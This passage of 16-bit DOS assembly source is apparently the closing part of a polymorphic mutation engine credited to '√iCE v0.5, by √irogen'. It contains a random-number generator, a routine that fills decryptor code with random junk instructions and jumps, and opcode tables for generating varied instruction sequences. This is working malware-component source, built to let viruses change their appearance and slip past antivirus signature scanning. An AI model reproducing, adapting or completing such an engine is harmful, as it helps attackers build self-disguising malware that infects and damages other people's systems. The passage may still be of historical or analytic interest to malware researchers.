  849.             mov     byte ptr [di],81h       ; write op
  850.             inc     di
  851. ax_sub_op:
  852.             mov     byte ptr [di],ah
  853.             inc     di
  854.             mov     ax,0FFFFh               ; calculate value
  855.             sub     ax,cx
  856.             inc     ax
  857.             mov     word ptr [di],ax        ; write value [0FFFFh-(org value-1)]
  858.             inc     di
  859.             inc     di
  860.             ret
  861.  
  862. ;─────────────────────────────────────────────────────────────────────────────
  863. ; Get sec/ms from clock
  864. ; ret: CX,DX time
  865. ;─────────────────────────────────────────────────────────────────────────────
  866.  
  867. get_timer:
  868.             push    ax
  869.             mov     ah,2ch                  ; get clock
  870.             int     21h
  871.             mov     ran_seed[bp],dx
  872.             pop     ax
  873.             ret
  874.  
  875. ;─────────────────────────────────────────────────────────────────────────────
  876. ; Init Random Seed
  877. ; writes seconds/ms from clock to seed
  878. ;─────────────────────────────────────────────────────────────────────────────
  879.  
  880. random_init:
  881.             push    cx
  882.             mov     ah,2ch                  ; get clock
  883.             int     21h
  884.             mov     ran_seed[bp],dx
  885.             pop     cx
  886.             ret
  887.  
  888. ;─────────────────────────────────────────────────────────────────────────────
  889. ; Build random ptr
  890. ;  ax=max
  891. ;  ret:si=ptr
  892. ;─────────────────────────────────────────────────────────────────────────────
  893. ran_ptr:
  894.             push    cx
  895.             call    random
  896.             pop     cx
  897.             mov     si,dx
  898.             ret
  899.  
  900. ;─────────────────────────────────────────────────────────────────────────────
  901. ;  Get Random Number
  902. ;  AX=max number
  903. ;  ret: DX=random #
  904. ;─────────────────────────────────────────────────────────────────────────────
  905.  
  906. random_byte:
  907.             mov     ax,0FFh
  908. random:
  909.             inc     ax
  910.             push    cx ax
  911.             mov     ax, ran_seed[bp]
  912.             mov     cx,31413
  913.             mul     cx
  914.             add     ax,13849
  915.             mov     ran_seed[bp],ax
  916.             pop     cx
  917.             mul     cx
  918.             pop     cx
  919.             ret
  920.  
  921. ;─────────────────────────────────────────────────────────────────────────────
  922. ;  Garbage Code Filler
  923. ;  entry: CX=max bytes
  924. ;─────────────────────────────────────────────────────────────────────────────
  925. fill_buffer:
  926.             or      cx,cx                   ; if 0, then can't generate garbage
  927.             jnz     isn_0
  928.             ret
  929. isn_0:
  930.             mov     busy[bp],1              ; don't get into nests
  931. fill_loop:
  932.             mov     ax,6                    ; 7 possible garbage functions
  933.             call    random
  934.             mov     al,dl                   ; al=function
  935.  
  936.             cmp     cx,1                    ; only 1 byte left?
  937.             jz      m_one_byte              ; if so then make a one byte operand
  938.             cmp     cx,8                    ; <8 bytes left?
  939.             jl      no_mov_reg              ; then don't use JMP or MOV garbage
  940.             or      al,al                   ; function 0 (JMP)?
  941.             jnz     no_make_jmp             ; nope..
  942.             call    make_jmp                ; make a jmp
  943.             jmp     g_done                  ; done..
  944. no_make_jmp:
  945.             cmp     al,1                    ; function 1 (MOV_register)?
  946.             jnz     no_mov_reg              ; if not then check next
  947.             push    cx
  948.             call    get_reg                 ; get register to mov to
  949.             push    ax
  950.             call    random_byte             ; get random value
  951.             mov     cx,dx
  952.             pop     ax
  953.             push    di
  954.             mov     bl,0                    ; use word register
  955.             call    mov_register            ; generate code to mov register
  956.             pop     ax
  957.             mov     bx,di
  958.             sub     bx,ax                   ; calculate mov operand code size
  959.             pop     cx
  960.             sub     cx,bx                   ; subtract garbage left
  961.             jmp     g_done                  ; done..
  962. no_mov_reg:
  963.             cmp     al,2                    ; function 2 (one byte)?
  964.             jnz     no_one_byte
  965. m_one_byte:
  966.             mov     ax,(offset nops_1_e-offset nops_1)-1
  967.             call    ran_ptr                 ; get random ptr to a one byte operand
  968.             mov     ah,byte ptr [nops_1+si+bp] ; load operand
  969.             mov     [di],ah                 ; write operand
  970.             inc     di
  971.             dec     cx
  972.             jmp     g_done
  973. no_one_byte:
  974.             cmp     cx,2                    ; <2 bytes?
  975.             jl      no_two_byte             ; if so then can't make CMP or TEST
  976.             cmp     al,3                    ; if al=3 then make CMP
  977.             jz      make_cmp
  978.             cmp     al,4                    ; if al=4 then make TEST
  979.             jnz     no_two_byte
  980. make_test:
  981.             mov     byte ptr [di],85h       ; write TEST
  982.             jmp     det_2_op
  983. make_cmp:
  984.             mov     byte ptr [di],39h       ; write CMP
  985. det_2_op:
  986.             inc     di
  987.             mov     ax,0FFh-0C0h            ; operand range
  988.             call    random                  ; get random regs to use
  989.             add     dl,0C0h                 ; adjust
  990.             lea     bx,zero_struct-1[bp]
  991. chk_bad_test_cmp:
  992.             inc     bx
  993.             cmp     byte ptr [bx],dl
  994.             jz      fix_test_cmp            ; looping for another takes too
  995.             cmp     byte ptr [bx],0         ; much processor time
  996.             jz      done_chk_bad
  997.             jmp     chk_bad_test_cmp
  998. fix_test_cmp:
  999.             cmp     dl,0FFh
  1000.             jz      dec_dl
  1001.             cmp     dl,0C0h
  1002.             jz      inc_dl
  1003. dec_dl:
  1004.             dec     dl
  1005.             jmp     done_chk_bad
  1006. inc_dl:
  1007.             inc     dl
  1008. done_chk_bad:
  1009.             mov     byte ptr [di],dl        ; write low byte of operand
  1010.             inc     di
  1011.             dec     cx
  1012.             dec     cx
  1013.             jmp     g_done
  1014. no_two_byte:
  1015.             cmp     cx,3                    ; <3 bytes?
  1016.             jl      no_sub_reg              ; if so, can't make ADD/SUB
  1017.             cmp     al,5                    ; if al=5 then make ADD
  1018.             jnz     no_add_reg
  1019.             push    cx
  1020.             mov     ax,0FFFEh
  1021.             call    random                  ; get random value
  1022.             mov     cx,dx
  1023.             call    get_reg                 ; get register
  1024.             call    add_reg_val             ; write add operand
  1025.             pop     cx
  1026.             sub     cx,3
  1027.             jmp     g_done
  1028. no_add_reg:
  1029.             push    cx
  1030.             mov     ax,0FFFEh
  1031.             call    random                  ; get random value
  1032.             mov     cx,dx
  1033.             call    get_reg                 ; get register
  1034.             call    sub_reg_val             ; write SUB operand
  1035.             pop     cx
  1036.             sub     cx,3
  1037. no_sub_reg:
  1038.  
  1039. g_done:
  1040.             or      cx,cx                   ; no more garbage bytes to fill?
  1041.             jz      fill_done               ; if so, we're done
  1042.             jmp     fill_loop               ; else loop
  1043. fill_done:
  1044.             mov     busy[bp],0              ; clear busy flag
  1045.  
  1046. _fret:      ret
  1047.  
  1048. ;─────────────────────────────────────────────────────────────────────────────
  1049. ; Make a JMP in garbage
  1050. ;  CX=max
  1051. ;─────────────────────────────────────────────────────────────────────────────
  1052.  
  1053. make_jmp:
  1054.             mov     ax,cx
  1055.             cmp     ax,max_jmp              ; jump too far?
  1056.             jb      num_ok
  1057.             mov     ax,max_jmp              ; set to max
  1058. num_ok:
  1059.             dec     ax
  1060.             dec     ax
  1061.             push    cx
  1062.             call    random                  ; get random jmp location with garbage code
  1063.             push    dx
  1064.             mov     cx,dx
  1065.             mov     al,0EBh                 ; jmp
  1066.             mov     ah,cl
  1067.             mov     word ptr [di],ax        ; write jmp op
  1068.             inc     di
  1069.             inc     di
  1070.             call    fill_shit               ; fill between jmp->jmp offset with shit
  1071.             pop     dx cx
  1072.             sub     cx,dx                   ; get new amount of garbage left to write
  1073.             dec     cx
  1074.             dec     cx
  1075.             ret
  1076.  
  1077. ;─────────────────────────────────────────────────────────────────────────────
  1078. ; Fill with random bytes
  1079. ;─────────────────────────────────────────────────────────────────────────────
  1080.  
  1081. fill_shit:
  1082.             or      cx,cx
  1083.             jz      fs_ret
  1084.             call    random_byte             ; get random byte
  1085.             mov     byte ptr [di],dl        ; write it
  1086.             inc     di
  1087.             loop    fill_shit
  1088. fs_ret:     ret
  1089.  
  1090.  
  1091. ;─────────────────────────────────────────────────────────────────────────────
  1092. ;  Fill Bytes with Garbage
  1093. ;─────────────────────────────────────────────────────────────────────────────
  1094.  
  1095. fill_between:
  1096.             cmp     busy[bp],1
  1097.             jz      goff
  1098.             test    options[bp],00000010b   ; garbage on?
  1099.             jz      goff
  1100.             push    ax cx dx si
  1101.             mov     ax, garbage_left[bp]    ; we have a garbage limit..
  1102.             cmp     ax, GRB_BEFORE
  1103.             jnz     no_force
  1104.             mov     cx, max_per_call[bp]
  1105.             jmp     forced
  1106. no_force:
  1107.             or      ax,ax
  1108.             jz      not_room
  1109.             cmp     ax, max_per_call[bp]    ; and a max limit per call..
  1110.             jbe     in_range
  1111.             mov     ax, max_per_call[bp]
  1112. in_range:
  1113.             call    random                  ; get random # of garbage bytes
  1114.             xchg    dx,cx
  1115.             or      cx,cx
  1116.             jz      not_room
  1117. forced:
  1118.             sub     garbage_left[bp],cx     ; update garbage limit
  1119.             call    fill_buffer             ; fill garbage
  1120. not_room:
  1121.             pop     si dx cx ax
  1122. goff:       ret
  1123.  
  1124. ;─────────────────────────────────────────────────────────────────────────────
  1125. ;  One-byte Garbage Operands
  1126. ;─────────────────────────────────────────────────────────────────────────────
  1127. nops_1:     nop
  1128.             int     3
  1129.             into
  1130.             stc
  1131.             cld
  1132.             stc
  1133.             cmc
  1134.             clc
  1135.             cli
  1136.             sti
  1137. nops_1_e:
  1138. ;─────────────────────────────────────────────────────────────────────────────
  1139. ; Operand Structures
  1140. ;─────────────────────────────────────────────────────────────────────────────
  1141. lp_struct   db      05h,25h,1Dh,3Dh,0Dh,2Dh,15h,35h
  1142. lp_bp_struct db     46h,66h,5Eh,7Eh,4Eh,6Eh,56h,76h
  1143. push_struct db      50h,53h,51h,52h
  1144. mov_struct  db      0B8h,0BBh,0B9h,0BAh,0BFh,0BEh,0BDh
  1145. mov_h_struct db     0B0h,0B4h,0B3h,0B7h,0B1h,0B5h,0B2h,0B6h
  1146. add_struct  db      5,0C3h,0C1h,0C2h,0C7h,0C6h,0C5h
  1147. byte_add_struct db  0C0h,0C3h,0C1h,0C2h,0C7h,0C6h,0C5h
  1148. sub_struct  db      2Dh,0EBh,0E9h,0EAh,0EFh,0EEh,0EDh
  1149. byte_sub_struct db  0E8h,0EBh,0E9h,0EAh,0EFh,0EEh,0EDh
  1150. dec_struct  db      48h,4Bh,49h,4Ah
  1151. xor_p_struct db     0,0,0,0,35h,34h,076h
  1152. add_p_struct db     0,0,0,0,05h,04h,46h
  1153. sub_p_struct db     0,0,0,0,2Dh,2Ch,6Eh
  1154. inc_p_struct db     0,0,0,0,47h,46h,45h
  1155. xor_h_struct db     0F0h,0F4h,0F3h,0F7h,0F1h,0F5h,0F2h,0F6h
  1156. sub_h_struct db     0E8h,0ECh,0EBh,0EFh,0E9h,0EDh,0EAh,0EEh
  1157. add_h_struct db     0C0h,0C4h,0C3h,0C7h,0C1h,0C5h,0C2h,0C6h
  1158. xor_ptr_reg_struct db 04h,24h,1Ch,3Ch,0Ch,2Ch,14h,34h
  1159. zero_struct db      0C0h,0DBh,0C9h,0D2h,0FFh,0F6h,0EDh,0E4h,0
  1160.  
  1161. ;─────────────────────────────────────────────────────────────────────────────
  1162. ; Variables
  1163. ;─────────────────────────────────────────────────────────────────────────────
  1164. garbage_left dw     0
  1165. max_per_call dw     0
  1166. busy        db      0
  1167. options     db      0
  1168. run_ofs     dw      0
  1169. beg_ofs     dw      0
  1170. jz_ofs      dw      0
  1171. ran_seed    dw      0
  1172. dec_reg     db      0
  1173. ptr_reg     db      0
  1174. push_reg    db      0
  1175. load_reg    db      0
  1176. d_reg       db      0
  1177. inc_op      db      0
  1178. add_1_op    dw      0
  1179. add_op      db      0
  1180. sub_op      db      0
  1181. xor_op      db      0
  1182. loop_ofs    dw      0
  1183. ptr_ofs     dw      0
  1184. _ss         dw      0
  1185. _sp         dw      0
  1186. credits     db      '[√iCE v0.5, by √irogen]'
  1187.             db      50 dup (0)
  1188. _stack:
  1189.  
  1190. _vice       endp
  1191.  
  1192. cseg        ends
  1193.             end
  1194.